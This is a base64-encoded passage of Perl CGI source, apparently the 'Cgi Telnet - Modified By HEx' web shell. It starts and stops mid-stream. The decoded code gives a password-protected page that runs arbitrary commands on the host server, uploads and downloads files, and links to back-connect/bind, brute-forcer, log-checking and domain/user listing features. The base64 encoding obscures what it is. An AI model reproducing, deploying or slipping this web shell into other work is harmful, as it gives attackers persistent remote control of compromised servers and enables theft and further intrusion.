mJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI+PGNvZGU+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPg0KCQk8Yj48Zm9udCBzaXplPSI1Ij4kRWRpdFBlcnNpb248L2ZvbnQ+PC9iPg0KCTwvdGQ+DQoNCgk8dGQ+DQoNCgkJPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+JEVOVnsiU0VSVkVSX1NPRlRXQVJFIn08L2ZvbnQ+DQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjYmIwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2JiMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KDQo8L3RyPg0KDQo8dHI+DQo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfA0KPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+DQoNCjwvZm9udD48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoNCglwcmludCA8PEVORDsNCjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uDQogICAgcmV0dXJuOw0KICB9DQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7DQogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOw0KICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsNCiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7DQogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7DQogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsNCiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KICB0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOw0KICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7DQogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7DQogIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICB0aGlzLmluVGFnID0gZmFsc2U7DQogIHRoaXMudGFnQnVmZmVyID0gIiI7DQogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOw0KfQ0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsNClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsNClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7DQogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7DQp9DQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsNCiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47DQogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4NCiAgICByZXR1cm47DQogIH0NCiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOw0KLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg0KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsNCiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOw0KICAgICAgdGhpcy5pblRhZyA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOw0KICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIHsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgfQ0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0Ow0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsNCiAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOw0KICB9IGVsc2Ugew0KCXRoaXMuY3VycmVudFRleHQgPSAiIjsNCgl0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOw0KICB9DQp9DQo8L3NjcmlwdD4NCjwvcHJlPg0KDQo8Zm9udCBzdHlsZT0iZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OyI+Q2dpIFRlbG5ldCAtIE1vZGlmaWVkIEJ5IEhFeCA8L2ZvbnQ+PGJyPjxicj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI2MDAiIGhlaWdoPg0KPHRib2R5Pjx0cj4NCjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBQbGVhc2UgV2FpdCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+DQoNCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj5+XCQ8L2ZvbnQ+IENvbm5lY3RlZCAhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IFRyeWluZyBjb25uZWN0IHRvIENvbW1hbmQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250Pjxicj4NCg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjxmb250IGNvbG9yPSIjRjAwMDAwIj5cJDwvZm9udD48L2ZvbnQ+IE9LISBZb3UgY2FuIGtpbGwgaXQhPC9mb250Pg0KPC90cj4NCjwvdGJvZHk+PC90YWJsZT4NCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxicj5Mb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ+by0tLVsgIDxmb250IGNvbG9yPSNmZjk5MDA+RWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMa